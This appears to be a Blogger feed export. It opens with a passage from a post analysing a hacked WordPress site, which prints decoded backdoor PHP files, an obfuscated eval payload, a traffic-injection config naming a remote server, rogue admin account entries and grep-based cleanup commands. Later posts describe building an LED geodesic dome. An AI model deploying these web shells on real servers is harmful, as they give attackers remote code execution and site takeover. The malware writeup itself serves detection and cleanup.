echo "<tds>".PHP_EOL;
echo $uid;
echo "</tds>".PHP_EOL;
}
else
{
if ($client->can_process_request())
{
$client->process_request();
}
}
}
</pre>
<br />
The client config when decoded looks like this<br />
<br />
<pre class="brush: php">client configArray
(
[route] => f57tvsaz
[tds_port] => 80
[tds_filter] => if ($_SERVER['REQUEST_METHOD'] != 'GET' || empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || strpos($_SERVER["HTTP_REFERER"], $_SERVER["HTTP_HOST"]) !== FALSE)
{
return FALSE;
}
if (empty($_SERVER['HTTP_USER_AGENT']) || preg_match('/(yandexbot|baiduspider|archiver|track|crawler|google|msnbot|ysearch|search|bing|ask|indexer|majestic|scanner|spider|facebook|Bot)/i', $_SERVER['HTTP_USER_AGENT']))
{
return FALSE;
}
foreach (array('/\.css/', '/\.swf/', '/\.ashx/', '/\.docx/', '/\.doc/', '/\.xls/', '/\.xlsx/', '/\.xml/', '/\.jpg/', '/\.pdf/', '/\.png/', '/\.gif/', '/\.ico/', '/\.js/', '/\.txt/', '/ajax/', '/cron\.php/', '/wp\-login\.php/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//', ) as $regex)
{
if (preg_match($regex, @$_SERVER['REQUEST_URI']))
{
return FALSE;
}
}
return TRUE;
[tds_path] => /example.php
[tds_ip] => 62.76.179.195
)
</pre>
Some pretty interesting stuff.<br />
I'll have a look at this properly later, but it looks like it's sending data about each request off to a server which responds with what javascript to inject onto the page. Looks pretty nasty!<br />
<br />
<b>TODO: analysis</b><br />
<br />
<h2>
Other Backdoors</h2>
</div>
<div>
I found a couple of other backdoors scattered throughout the site with a lot less obfuscation. </div>
<h3>
Ufeutol.php</h3>
<div>
When decoded looks like this</div>
<div>
<br /></div>
<pre class="brush: php"><?php
$gfaujmp = '_x7cH290n\'ugsob*#18d6mlip4t3yva-kre';
$hjuzajd = array(
0 => 'H*',
1 => '#',
2 => '17a6ee0b-38b4-4673-8d91-0bc0348e0326',
3 => 'count',
4 => 'str_repeat',
5 => 'explode',
6 => 'substr',
7 => 'array_merge',
8 => 'strlen',
9 => 'pack',
);
foreach (array_merge($_COOKIE, $_POST) as $eauisg => $bfsfwo) {
function lddjf($hjuzajd, $eauisg, $tdaubq) {
return substr(str_repeat($eauisg . '17a6ee0b-38b4-4673-8d91-0bc0348e0326', ($tdaubq / strlen($eauisg)) + 1), 0, $tdaubq);
}
function okejwl($hjuzajd, $lmnvzu) {
return @pack('H*', $lmnvzu);
}
function gsixba($hjuzajd, $lmnvzu) {
$ebsvw = count($lmnvzu) % 3;
if (!$ebsvw) {
eval($lmnvzu[1]($lmnvzu[2]));
exit();
}
}
$bfsfwo = okejwl($hjuzajd, $bfsfwo);
gsixba($hjuzajd, explode('#', $bfsfwo ^ lddjf($hjuzajd, $eauisg, strlen($bfsfwo))));
} ?>
</pre>
<h4>
Cleanup</h4>
<div>
This script may pick up some false positives, so you will have to manually look at each result. </div>
<div style="font-family: Times; font-size: medium; font-weight: 400;">
<pre class="brush: bash">for infected in $(
find . -regextype egrep -regex '.*/[a-z]*\.php$' -type f -exec grep -Hnzl -P "<\?php\\n\\\$[a-z]+ = .*;\\\$[a-z]+ = Array" {} \;
) ; do stat $infected; done</pre>
</div>
<h3>
wp-cache.php</h3>
<pre class="brush: php"><?php
$GLOBALS['_79565595_']=array('str_' .'rot13','pack','st' .'rrev');
function _1178619035($i)
{
$a=array("jweyc","aeskoly","owhggiku","callbrhy","H*");
return $a[$i];
}
function l__0($_0)
{
return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];
}
$_1=l__0("jweyc") .l__0("aeskoly") .l__0("owhggiku") .l__0("callbrhy");
if (!empty($_1)) {
$_1=str_(@rot13("H*", pack($_1)));
if (isset($_1)) {
@eval($_1);
exit();
}
}
?></pre>
<h4>
Cleanup</h4>
<div>
TODO</div>
<h3>
50lv2oitrw.php</h3>
<pre class="brush: php">eval("\n\$dgreusdi = intval(__LINE__) * 337;");
$a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQqqyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2OqSHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";
$a = str_replace($dgreusdi, "E", $a);
eval (gzinflate(base64_decode($a)));
</pre>
<h4>
Cleanup</h4>
<div>
TODO</div>
<h3>
yfupkawh.php</h3>
<pre class="brush: php"><?php
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
foreach ($_COOKIE as $item)
{
if ($item != "9b761d97-599a-406d-89ba-135d67c1e9b7")
exit();
}
$data = file_get_contents('php://input');
$data = split("=",$data,2);
$b64_decode_data = base64_decode(urldecode($data[1]));
$send_data = unserialize(decrypt($b64_decode_data));
$result = send_data1 ($send_data);
if (!$result)
{
$result = send_data2($send_data);
}
echo $result;
function decrypt($data)
{
$out_data = "";
$key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$key_len = strlen($key);
for ($i=0; $i < strlen($key); $i++)
{
$key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
}
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function send_data1($data)
{
$head = "";
foreach($data["headers"] as $key=>$value)
{
$head .= $key . ": " . $value . "\r\n";
}
$params = array('http' => array(
'method' => $data["method"],
'header' => $head,
'content' => $data["body"],
'timeout' => $data["timeout"],
));
$ctx = stream_context_create($params);
$result = @file_get_contents($data["url"], FALSE, $ctx);
if ($http_response_header)
{
if (strpos($http_response_header[0], "200") === FALSE)
{
$result = "HTTP_ERROR\t" . $http_response_header[0];
}
}
else
{
$result = "CONNECTION_ERROR";
}
return $result;
}
function send_data2($data)
{
// use sockets
}
</pre>
<div>
<h4>
Cleanup</h4>
</div>
<div>
TODO</div>
<div>
<h2>
Extra Precautions</h2>
</div>
<div>
If, like me, you have the luxury of regular backups to look through, it can be good to diff the backups of your database to look for changes. I would highly recommend Vaultpress backups for this specific reason.<br />
<br /></div>
<div>
</div>
<div>
in my case, the diffs looked like this:<br />
<br /></div>
<h4>
<b>wp_options
</b></h4>
<pre class="brush: sql">INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(1, 'siteurl', 'http://erealitatea.net', 'yes'),
(4263427, 'jetpack_plugin_api_action_links', 'a:17:{s:69:\"afterpay-gateway-for-woocommerce/...', 'yes'),
(5898751, '_transient_yst_sm_page_1:7aqzq_XoUd', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...');
INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(5899366, '_transient_yst_sm_attachment_2:7aqzq_2mYuL', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...');
INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(5900434, '_transient_yst_sm_product_1:7aqzq_2n2il', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...');
INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(5900681, '_transient_yst_sm_attachment_1:7aqzq_2mYuL', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...');
</pre>
<h4>
Users</h4>
Also Found 2 suspicious new entries in the <b>users</b> table
<br />
<pre class="brush: sql">INSERT INTO `ppo_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES
(2190, 't3trollherten', '$P$BOgeWorSlEeoVr/BeGZ8FmRTAaU5wa/', 't3trollherten', 't3trollherten@bk.ru', '', '2018-11-08 16:22:07', '', 0, 't3trollherten'),
(2189, 't2trollherten', '$P$BWxvMacVs/UkKuJIEQEpKypAUA0G2r.', 't2trollherten', 'trollherten@mail.com', '', '2018-11-08 12:43:03', '', 0, 't2trollherten')
</pre>
<h2>
TL;DR</h2>
<div>
Run these commands so that you can manually check for and remove these nasty rootkits. There may be false positives, so you have to manually check the files.</div>
<div>
</div>
<div>
<pre class="brush: bash">for infected in $(
find . -regextype egrep -regex '.*/[a-z]*\.php$' -type f -exec grep -Hnzl -P "<\?php\\n\\\$[a-z]+ = .*;\\\$[a-z]+ = Array" {} \; ;
find . -regextype egrep -regex '.*/[a-z]+.ico' -exec grep -Hnzl '^<?php' {} \; ;
find . -type f -exec grep -Hnzl -P '(?s)/\*[\dA-Za-z]+\*/\n\n@include' {} \; ;
) ; do stat $infected; done</pre>
<br />
If you found this useful, or you have more information about this attack, let me know in the comments. Thanks!</div>
<div>
</div>
derwentxhttp://www.blogger.com/profile/18302517537094942860noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-47659103229717829082018-02-23T12:52:00.001+08:002018-02-23T12:52:54.806+08:00Construction of a steel geodesic domeFollowing on from the <a href="http://blog.laserphile.com/2018/01/software-and-electronics-for-driving.html">previous post</a>, it is now time to construct our dome! We have constructed a few domes out of PVC piping in the past, these are very quick to make with very simple tools, however due to the way the pipes are joined using cable ties they are not as strong as a geodesic shape could be and many of the PVC pipes have warped after being left out in the weather for a long period of time. Most of the details for the geometry of the dome has come from <a href="https://simplydifferently.org/Geodesic_Dome_Notes?page=3#2V/L2">Simply Different</a>, check it out for lots of cool information. The image below shows the marking locations for the necessary operations on the pipe. The thickness of the cut off blade has been taken into account for these cuts.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIX_d6pKmVugSaIu5HN4fDGOqDHZLrh8ksj8wdUHycMdPfnvTX_95EcTTvgJ8YXX8xND1a3q3S18olgyDObNyj9HMKuDQWOJ0k7D6jfL3Ry7YCK_yJ-Sw8dztI5hqdsaBEGJp7qUs0z4s/s1600/Pipe+cut+and+bend+lengths.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1121" data-original-width="1581" height="451" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIX_d6pKmVugSaIu5HN4fDGOqDHZLrh8ksj8wdUHycMdPfnvTX_95EcTTvgJ8YXX8xND1a3q3S18olgyDObNyj9HMKuDQWOJ0k7D6jfL3Ry7YCK_yJ-Sw8dztI5hqdsaBEGJp7qUs0z4s/s640/Pipe+cut+and+bend+lengths.png" width="640" /></a></div>
<br />
<br />
This dome will be constructed out of 16mm ERW tube with a wall thickness of 1.2mm. In an ideal situation we require 114.5 meters of steel tubing, however we can only buy our steel in lengths of 6.25m, so we must buy 22 lengths of this to satisfy our needs. I ended up buying 24 lengths in case we want to make a doorway into the dome.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAUNjYoJTQj7lPXclN8rHWuhwdKY7WrIXsF0fa4KvDQbxS44KBf4JBAIHLQGvLwZd8phR2YXboPg_RbBBmDdZfDPpH816Y0goFQeaGUXYX-1i3iZCUMTzEsS49h4VZsIHDdPJbygYxthQ/s1600/IMG_20180131_131954.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1197" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAUNjYoJTQj7lPXclN8rHWuhwdKY7WrIXsF0fa4KvDQbxS44KBf4JBAIHLQGvLwZd8phR2YXboPg_RbBBmDdZfDPpH816Y0goFQeaGUXYX-1i3iZCUMTzEsS49h4VZsIHDdPJbygYxthQ/s640/IMG_20180131_131954.jpg" width="478" /></a></div>
<br />
<br />
The first job is cutting our lengths of steel to the 2 different lengths required, we must be precise in our lengths as a geodesic structure relies on all the struts taking an equal load, if one was the wrong the length then it would throw out everything else and the dome will end up skewed. These cuts were done with a metal cut off saw, if you were determined you could do these cuts with a hand saw.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4HHvP94T_0JtpHAFTlOoSkbiXbF-XntnOCgFLQ899b_jJSw4DXTikYECl7tD44Opim9IZyzbkUhwT7HRULxI8wj2T0iqqMskdaGMIm3EpD1_wMJW0Vssm7729gCt_NQE6zUTblyutLr0/s1600/IMG_0449.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4HHvP94T_0JtpHAFTlOoSkbiXbF-XntnOCgFLQ899b_jJSw4DXTikYECl7tD44Opim9IZyzbkUhwT7HRULxI8wj2T0iqqMskdaGMIm3EpD1_wMJW0Vssm7729gCt_NQE6zUTblyutLr0/s640/IMG_0449.jpg" width="640" /></a></div>
<br />
<br />
Next we need to flatten and bend the ends of our steel tubing, these bent end sections stack against each other and should sit flat against all their neighboring pipes. The bends must go in the right place and each end must be bent in the same plane if either of these are incorrect then it will make assembling the dome difficult or impossible. We flattened and bent our pipes with a hydraulic press, ideally the short lengths should be bent to 16° and the longs to 18°, lucky for us the press ends up bending the flattened ends to ~17.5°. The steel tube we used is so thin a hammer and anvil could be used to flatten and bend the pipe ends.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieXPKbhBbCuDDG_lXXl8dJs9XxHrQmvG7IuxOPvDLSUMbBKIcnZDEhBVKNQoBW8ItCcvElwHL59WKrDUyKuVtm_ebrMRwfc5l1DuAH8dPtIMYDdTQQ5RFQGbWpouo86WDdEhBi1zadadA/s1600/IMG_20180204_143425.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1197" data-original-width="1600" height="476" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieXPKbhBbCuDDG_lXXl8dJs9XxHrQmvG7IuxOPvDLSUMbBKIcnZDEhBVKNQoBW8ItCcvElwHL59WKrDUyKuVtm_ebrMRwfc5l1DuAH8dPtIMYDdTQQ5RFQGbWpouo86WDdEhBi1zadadA/s640/IMG_20180204_143425.jpg" width="640" /></a></div>
<br />
<br />
The last step is to drill holes through the bent end sections, this hole placement is important but not too hard to achieve as long as the previous steps have been done accurately.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrr8fNEmF3yAJZFBii7WNTcgCNE2MZyBBrrft7Vp7DQHSDgjGfWcBpkCVzssoTXTmBGgiWUgVa88S3QgSNtLTBGU0dzBf9TiYhlV05AWKbULZflwqJZwA7vyvySLtdlNvur8UAzJOSagw/s1600/IMG_20180204_160700.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1197" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrr8fNEmF3yAJZFBii7WNTcgCNE2MZyBBrrft7Vp7DQHSDgjGfWcBpkCVzssoTXTmBGgiWUgVa88S3QgSNtLTBGU0dzBf9TiYhlV05AWKbULZflwqJZwA7vyvySLtdlNvur8UAzJOSagw/s640/IMG_20180204_160700.jpg" width="476" /></a></div>
<br />
<br />
Now we have the struts we can build our dome, we used 8mm bolts to secure the pipe ends together.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6NNpbZrRIcM-xheozutE1Gi1HEgbR02dtAYcNQ_1dYHtWCVqJeP7ClF1cHyRNSBVe5YKTDGGtxl3ohMGtGWzHHE9cUqC9cIHvPYxoPY2dh17WEfcXXzfl7Vca1mzf8E8BXqivaboCozU/s1600/IMG_20180223_092959.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1197" data-original-width="1600" height="478" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6NNpbZrRIcM-xheozutE1Gi1HEgbR02dtAYcNQ_1dYHtWCVqJeP7ClF1cHyRNSBVe5YKTDGGtxl3ohMGtGWzHHE9cUqC9cIHvPYxoPY2dh17WEfcXXzfl7Vca1mzf8E8BXqivaboCozU/s640/IMG_20180223_092959.jpg" width="640" /></a></div>
<br />
<br />
Here is part of the dome set up in my backyard, there isn't enough room for the whole thing, however this is enough to test fit all the LED panels and do some testing of the covering tarp. I'll have to wait till Blazing swan to build it in full.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYx4CPTnSaU7XnN3l1aN1Ba31Qyazm4yCefuHNsGR0f97mcadrflCgJ-qQMjWXKqVqJsrbk_uwgBMxxmliKbV3JFbR76DnAw1cZUY3rIoduRPj6hS9hLYfUkvd4MlbmYlFR80npcDWNWA/s1600/IMG_20180223_090146.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1197" data-original-width="1600" height="478" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYx4CPTnSaU7XnN3l1aN1Ba31Qyazm4yCefuHNsGR0f97mcadrflCgJ-qQMjWXKqVqJsrbk_uwgBMxxmliKbV3JFbR76DnAw1cZUY3rIoduRPj6hS9hLYfUkvd4MlbmYlFR80npcDWNWA/s640/IMG_20180223_090146.jpg" width="640" /></a></div>
<br />
<br />
I also put together a basic box to carry the dome struts. It's made of 12mm marine plywood, bolts/dowel nuts and some handles from the local hardware shop. It's simple but makes it much easier to transport.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNo2IYZK_nKQwCSxBVsSyozKwc3h9GwpTaidjljZ-A73YqmTt3Ya6vTjQoQFrib8BeoTS5XPj_hk1P_Hn4EhYza7BUa_m7inuniMc8FYJ1ZJOEniBis27nz36TakWxL8kgPMIKH7iaFSM/s1600/IMG_20180222_104201.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1197" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNo2IYZK_nKQwCSxBVsSyozKwc3h9GwpTaidjljZ-A73YqmTt3Ya6vTjQoQFrib8BeoTS5XPj_hk1P_Hn4EhYza7BUa_m7inuniMc8FYJ1ZJOEniBis27nz36TakWxL8kgPMIKH7iaFSM/s640/IMG_20180222_104201.jpg" width="476" /></a></div>
<br />
<br />
Next post I will discuss the mechanical construction of the LED panels and the associated control hardware.mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-20075761855525354732018-01-19T17:40:00.001+08:002018-07-15T12:18:17.561+08:00Software and electronics for driving 5725 LEDs<div>
Following on from my <a href="http://blog.laserphile.com/2017/12/camera-based-spherical-touch-surface.html">previous post</a> about the touch controller I will now talk about the software and electronics we are using to drive the 5725 LEDs.<br />
<br />
All software is written using Python, mostly utilizing OpenCV and Numpy for their great image manipulation cpabilities. The LEDs we will be using are designated SK9822, these are going to be spaced at 15 LEDs per meter, these are not usually made in this size so we incurred a higher than expected cost when ordering them. The triangular panels will consist of several strips of the LEDs spaced at 15 strips per meter, this gives us an LED density of 225 LEDs per square meter. This density was selected for manageability of the overall LED array and for power reasons. The image below shows a render of the LED layout, this render will be used for generating our pixel map.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-kiTDskLs8NJbhBjPRnxt7v-yOiz8D_aAQCcdPb4iOR65_A4qQlx8cF6d7OhBBPe4Qm1Kc7qdG-2YOUbNKmYBtSTKvkwbUCmQT84_GklrHMwjTH719jGNo1DGPfIv3qwFnUb-zWkyjNs/s1600/dome_piexel_layout.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="758" data-original-width="843" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-kiTDskLs8NJbhBjPRnxt7v-yOiz8D_aAQCcdPb4iOR65_A4qQlx8cF6d7OhBBPe4Qm1Kc7qdG-2YOUbNKmYBtSTKvkwbUCmQT84_GklrHMwjTH719jGNo1DGPfIv3qwFnUb-zWkyjNs/s400/dome_piexel_layout.png" width="400" /></a></div>
<br />
<br />
We had originally thought we would go with the WS2812B LEDs as these are cheaper than the SK9822 but the latter has a global brightness control which allows for much better low brightness colour depth which is an area I have found the WS2812s to be lacking in. I have built a few LED <a href="http://blog.laserphile.com/2017/03/making-signs-for-blazing-swan.html">project</a>s using the WS2812B LEDs and have noticed serious flicker noticeable when videoing the LEDs, this is another area the SK9822s excel in as they have a PWM frequency of 4.7kHz versus the 430Hz of the WS2812. More detail on these LEDs can be found at <a href="https://cpldcpu.wordpress.com/2016/12/13/sk9822-a-clone-of-the-apa102/">Tim's Blog</a>.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnxEy3ssmg_MWWa7ueCGT5kO_j-t2N70xlgo440prPj9mkqmhmWlLFZuNV8Jq6zMWOktf4ySjKtXxAoRbvPnUhzHQXHCVf1mIBMyWGu-oX4xh0o8Wo4IwJ0vQE3nt9aHmJCzLUBilUt94/s1600/WS2812B+and+SK9822%255D.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="393" data-original-width="909" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnxEy3ssmg_MWWa7ueCGT5kO_j-t2N70xlgo440prPj9mkqmhmWlLFZuNV8Jq6zMWOktf4ySjKtXxAoRbvPnUhzHQXHCVf1mIBMyWGu-oX4xh0o8Wo4IwJ0vQE3nt9aHmJCzLUBilUt94/s640/WS2812B+and+SK9822%255D.jpg" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">WS2812B left SK9822 right</td></tr>
</tbody></table>
<br />
Driving the panels of LEDs will be 5 Teensy micro controllers, handling 4 panels each, a single Teensy could theoretically drive all of the LEDs but this was decided against due to wiring complexity. The main computer running the majority of the software will send the RGB pixel data over USB to the micro controllers. The Teensy will be running a library called <a href="http://fastled.io/">FastLED</a> to control the LEDs, this means it is just acting as a buffer between the main computer and the LEDs.</div>
<div>
<br /></div>
<div>
Apart from the touch input software discussed last post there are a number of different pieces of software we have written. One is a tool to define the LED layout, you upload an image or render of the array and that is displayed on screen, using mouse clicks on either end of a string of LEDs and entering the number of LEDs between, it allows you to quickly define the layout of any shaped array. We now have our LED array defined and the coordinates from our touch input device so we needed to combine these to generate our output to be sent to the LED controllers.<br />
<br />
The first control program is relatively simple, we take the touch coordinates from our touch dome, look for the closest corresponding pixel in our LED array and set the colour of that pixel to white (or any colour of our choosing). This pixels information gets stored in an array which will then be sent on to the LED controllers. This is just the beginning and only a basic feature set is implemented, in the future brush size and colour will be changeable on the fly using designated spots on the touch input dome as the input.<br />
<br />
In order to see what is happening on the LED array without having to assemble the physical array we wrote a bit of software which renders an approximation of the array on the computer screen. This allows us to quickly test the software stack without the hassle of dealing with hardware.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
For powering everything we will have a 240V to 48V DC 30A supply consisting of 4 server power supplies in series, these will be located on the ground in a safe, electrically insulated cabinet. The 48V from this will run to each of the LED panels and then on each panel a 48V to 5V DC 15A power supply will be used to regulate the voltage to the LED and micro controllers. The total power consumption at full white will be approximately 1700W which is slightly over what the power supplies are rated at, it will be very rare for us to display full white on all the LEDs so I have deemed this to be safe, even so there will be fuses at each power supplies output. In the photo below I am load testing a single 48V to 5V supply, in the background you can see the four 12V server power supplies.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTLJzKRVJV1fVxEvHe42zy_cPq3ydFKHXGZlvMJQZoD1hOcEXTs-Lv1pjDIMF_QwHIc9qsOdvei1XxrKKO4tAeYPRIzKRbP7QtxXsv_sfeHcBTgu7DeZWbHS6_kGdoy7jmZcHnpRaezck/s1600/IMG_20170820_141236.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1197" data-original-width="1600" height="478" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTLJzKRVJV1fVxEvHe42zy_cPq3ydFKHXGZlvMJQZoD1hOcEXTs-Lv1pjDIMF_QwHIc9qsOdvei1XxrKKO4tAeYPRIzKRbP7QtxXsv_sfeHcBTgu7DeZWbHS6_kGdoy7jmZcHnpRaezck/s640/IMG_20170820_141236.jpg" width="640" /></a></div>
<br />
The wiring of the dome will be quite a task by itself, I have chosen the Deutsch DTM series of connectors as they are waterproof, reliable and reasonably cheap. They will allow the wiring loom to be disconnected from each part of the system and packed up by itself, this should aid in transport and storage.<br />
<br />
<a href="http://blog.laserphile.com/2018/02/construction-of-steel-geodesic-dome.html">Next post</a> I will discuss the mechanical construction of the geodesic dome. For all software information please see our github <a href="https://github.com/emctechnician/touch_dome">here</a>.</div>
mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-52800433296841237962017-12-29T05:26:00.000+08:002018-07-15T12:19:01.303+08:00Camera based spherical touch surface for an interactive light show<br />
For several years I have been fascinated with geodesic domes and LED lighting. To bring together these two passions of mine I, along with a few friends, plan to fit 5725 LEDs inside of a 6 meter diameter geodesic dome. To make it interactive there will be a touch based controller in the middle of the 6 meter dome to allow people interact in real time with the lights around them.<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-kiTDskLs8NJbhBjPRnxt7v-yOiz8D_aAQCcdPb4iOR65_A4qQlx8cF6d7OhBBPe4Qm1Kc7qdG-2YOUbNKmYBtSTKvkwbUCmQT84_GklrHMwjTH719jGNo1DGPfIv3qwFnUb-zWkyjNs/s1600/dome_piexel_layout.png"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-kiTDskLs8NJbhBjPRnxt7v-yOiz8D_aAQCcdPb4iOR65_A4qQlx8cF6d7OhBBPe4Qm1Kc7qdG-2YOUbNKmYBtSTKvkwbUCmQT84_GklrHMwjTH719jGNo1DGPfIv3qwFnUb-zWkyjNs/s400/dome_piexel_layout.png" width="400" /></a></div>
<br />
